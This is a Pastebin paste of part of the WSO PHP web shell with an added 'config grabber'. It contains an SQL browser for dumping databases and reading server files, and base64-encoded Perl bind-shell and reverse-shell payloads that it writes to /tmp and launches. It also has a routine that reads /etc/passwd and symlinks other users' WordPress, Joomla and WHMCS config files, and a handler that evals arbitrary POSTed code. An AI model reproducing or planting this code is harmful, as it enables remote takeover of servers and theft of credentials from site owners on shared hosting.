  1247. $db = new DbClass($_POST['type']);
  1248. if(@$_POST['p2']=='download') {
  1249. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1250. $db->selectdb($_POST['sql_base']);
  1251. switch($_POST['charset']) {
  1252. case "Windows-1251": $db->setCharset('cp1251'); break;
  1253. case "UTF-8": $db->setCharset('utf8'); break;
  1254. case "KOI8-R": $db->setCharset('koi8r'); break;
  1255. case "KOI8-U": $db->setCharset('koi8u'); break;
  1256. case "cp866": $db->setCharset('cp866'); break;
  1257. }
  1258. if(empty($_POST['file'])) {
  1259. ob_start("ob_gzhandler", 4096);
  1260. header("Content-Disposition: attachment; filename=dump.sql");
  1261. header("Content-Type: text/plain");
  1262. foreach($_POST['tbl'] as $v)
  1263. $db->dump($v);
  1264. exit;
  1265. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1266. foreach($_POST['tbl'] as $v)
  1267. $db->dump($v, $fp);
  1268. fclose($fp);
  1269. unset($_POST['p2']);
  1270. } else
  1271. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1272. }
  1273. wsoHeader();
  1274. echo "
  1275. <h1>Sql browser</h1><div class=content>
  1276. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1277. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1278. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1279. <td><select name='type'><option value='mysql' ";
  1280. if(@$_POST['type']=='mysql')echo 'selected';
  1281. echo ">MySql</option><option value='pgsql' ";
  1282. if(@$_POST['type']=='pgsql')echo 'selected';
  1283. echo ">PostgreSql</option></select></td>
  1284. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1285. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1286. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
  1287. $tmp = "<input type=text name=sql_base value=''>";
  1288. if(isset($_POST['sql_host'])){
  1289. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1290. switch($_POST['charset']) {
  1291. case "Windows-1251": $db->setCharset('cp1251'); break;
  1292. case "UTF-8": $db->setCharset('utf8'); break;
  1293. case "KOI8-R": $db->setCharset('koi8r'); break;
  1294. case "KOI8-U": $db->setCharset('koi8u'); break;
  1295. case "cp866": $db->setCharset('cp866'); break;
  1296. }
  1297. $db->listDbs();
  1298. echo "<select name=sql_base><option value=''></option>";
  1299. while($item = $db->fetch()) {
  1300. list($key, $value) = each($item);
  1301. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1302. }
  1303. echo '</select>';
  1304. }
  1305. else echo $tmp;
  1306. }else
  1307. echo $tmp;
  1308. echo "</td>
  1309. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1310. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1311. </tr>
  1312. </table>
  1313. <script>
  1314. s_db='".@addslashes($_POST['sql_base'])."';
  1315. function fs(f) {
  1316. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1317. if(f.p1) f.p1.value='';
  1318. if(f.p2) f.p2.value='';
  1319. if(f.p3) f.p3.value='';
  1320. }
  1321. }
  1322. function st(t,l) {
  1323. d.sf.p1.value = 'select';
  1324. d.sf.p2.value = t;
  1325. if(l && d.sf.p3) d.sf.p3.value = l;
  1326. d.sf.submit();
  1327. }
  1328. function is() {
  1329. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1330. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1331. }
  1332. </script>";
  1333. if(isset($db) && $db->link){
  1334. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1335. if(!empty($_POST['sql_base'])){
  1336. $db->selectdb($_POST['sql_base']);
  1337. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1338. $tbls_res = $db->listTables();
  1339. while($item = $db->fetch($tbls_res)) {
  1340. list($key, $value) = each($item);
  1341. if(!empty($_POST['sql_count']))
  1342. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1343. $value = htmlspecialchars($value);
  1344. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1345. }
  1346. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1347. if(@$_POST['p1'] == 'select') {
  1348. $_POST['p1'] = 'query';
  1349. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1350. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1351. $num = $db->fetch();
  1352. $pages = ceil($num['n'] / 30);
  1353. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1354. echo " of $pages";
  1355. if($_POST['p3'] > 1)
  1356. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1357. if($_POST['p3'] < $pages)
  1358. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1359. $_POST['p3']--;
  1360. if($_POST['type']=='pgsql')
  1361. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1362. else
  1363. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1364. echo "<br><br>";
  1365. }
  1366. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1367. $db->query(@$_POST['p2']);
  1368. if($db->res !== false) {
  1369. $title = false;
  1370. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1371. $line = 1;
  1372. while($item = $db->fetch()) {
  1373. if(!$title) {
  1374. echo '<tr>';
  1375. foreach($item as $key => $value)
  1376. echo '<th>'.$key.'</th>';
  1377. reset($item);
  1378. $title=true;
  1379. echo '</tr><tr>';
  1380. $line = 2;
  1381. }
  1382. echo '<tr class="l'.$line.'">';
  1383. $line = $line==1?2:1;
  1384. foreach($item as $key => $value) {
  1385. if($value == null)
  1386. echo '<td><i>null</i></td>';
  1387. else
  1388. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1389. }
  1390. echo '</tr>';
  1391. }
  1392. echo '</table>';
  1393. } else {
  1394. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1395. }
  1396. }
  1397. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1398. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1399. echo htmlspecialchars($_POST['p2']);
  1400. echo "</textarea><br/><input type=submit value='Execute'>";
  1401. echo "</td></tr>";
  1402. }
  1403. echo "</table></form><br/>";
  1404. if($_POST['type']=='mysql') {
  1405. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1406. if($db->fetch())
  1407. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1408. }
  1409. if(@$_POST['p1'] == 'loadfile') {
  1410. $file = $db->loadFile($_POST['p2']);
  1411. echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1412. }
  1413. } else {
  1414. echo htmlspecialchars($db->error());
  1415. }
  1416. echo '</div>';
  1417. wsoFooter();
  1418. }
  1419. function actionNetwork() {
  1420. wsoHeader();
  1421. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1422. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1423. echo "<h1>Network toolsZ</h1><div class=content>
  1424. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1425. <span>Bind port to /bin/sh [perl]</span><br/>
  1426. Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1427. </form>
  1428. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1429. <span>Back-connect [perl]</span><br/>
  1430. Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1431. </form><br>";
  1432. if(isset($_POST['p1'])) {
  1433. function cf($f,$t) {
  1434. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1435. if($w){
  1436. @fwrite($w,@base64_decode($t));
  1437. @fclose($w);
  1438. }
  1439. }
  1440. if($_POST['p1'] == 'bpp') {
  1441. cf("/tmp/bp.pl",$bind_port_p);
  1442. $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1443. sleep(1);
  1444. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1445. unlink("/tmp/bp.pl");
  1446. }
  1447. if($_POST['p1'] == 'bcp') {
  1448. cf("/tmp/bc.pl",$back_connect_p);
  1449. $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1450. sleep(1);
  1451. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1452. unlink("/tmp/bc.pl");
  1453. }
  1454. }
  1455. echo '</div>';
  1456. wsoFooter();
  1457. }
  1458.  
  1459.  
  1460.  
  1461.  
  1462.  
  1463.  
  1464.  
  1465.  
  1466.  
  1467. ///////////////////////grabconfig///////////////////
  1468. function actionMelex() {
  1469. wsoHeader();
  1470. echo "<h1>Config Grabber</h1>";
  1471. echo "<form method='POST'>";
  1472. echo "<center>";
  1473. if (empty($_POST['config'])) {
  1474. echo "<p><font face=\"Tahoma\" color=\"#007700\" size=\"2pt\">/etc/passwd content</p><br><form method=\"POST\"><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1475. echo file_get_contents('/etc/passwd');
  1476. echo "</textarea><br><br><input name=\"config\" class='inputzbut' size=\"100\" value=\"Grab!\" type=\"submit\"><br></form></center><br>\n";
  1477. }
  1478.  
  1479. if ($_POST['config'])
  1480. {
  1481.     $function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('bhconfig', 0755);@chdir('bhconfig');
  1482. $htaccess="
  1483. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  1484. Options Indexes FollowSymLinks
  1485. ForceType text/plain
  1486. AddType text/plain .php
  1487. AddType text/plain .html
  1488. AddType text/html .shtml
  1489. AddType txt .php
  1490. AddHandler server-parsed .php
  1491. AddHandler txt .php
  1492. AddHandler txt .html
  1493. AddHandler txt .shtml
  1494. Options All
  1495. Options All";
  1496. file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
  1497. $passwd=explode("\n",$passwd);
  1498. echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";
  1499. foreach($passwd as $pwd){
  1500. $pawd=explode(":",$pwd);$user =$pawd[0];
  1501. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
  1502. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
  1503. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
  1504. @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
  1505. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
  1506. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
  1507. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
  1508. @symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
  1509. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
  1510. @symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
  1511. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
  1512. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
  1513. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
  1514. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
  1515. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
  1516. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
  1517. @symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
  1518. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
  1519. @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
  1520. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
  1521. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
  1522. @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
  1523. @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
  1524. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
  1525. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
  1526. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
  1527. @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
  1528. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
  1529. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
  1530. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
  1531. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
  1532. @symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
  1533. @symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
  1534. @symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
  1535. @symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
  1536. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
  1537. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
  1538. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
  1539. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
  1540. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
  1541. echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="bhconfig">Open configs</a></font></b>';}
  1542. echo '</div>';
  1543. wsoFooter();
  1544.  
  1545. }
  1546. //////////////////////////////////////////
  1547.  
  1548.  
  1549. //////////////////////////////////////////
  1550. function actionDefaults() {
  1551. wsoHeader();
  1552. echo "<h1>Melex Page :)</h1>";
  1553.  
  1554. echo '</div>';
  1555. wsoFooter();
  1556. }
  1557. //////////////////////////////////////////
  1558.  
  1559.  
  1560.  
  1561.  
  1562.  
  1563.  
  1564.  
  1565.  
  1566.  
  1567.  
  1568.  
  1569. function actionRC() {
  1570. if(!@$_POST['p1']) {
  1571. $a = array(
  1572. "uname" => php_uname(),
  1573. "php_version" => phpversion(),
  1574. "wso_version" => WSO_VERSION,
  1575. "safemode" => @ini_get('safe_mode')
  1576. );
  1577. echo serialize($a);
  1578. } else {
  1579. eval($_POST['p1']);
  1580. }
  1581. }
  1582. if( empty($_POST['a']) )
  1583. if(isset($default_action) && function_exists('action' . $default_action))
  1584. $_POST['a'] = $default_action;
  1585. else
  1586. $_POST['a'] = 'SecInfo';
  1587. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1588. call_user_func('action' . $_POST['a']);
  1589. exit;
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand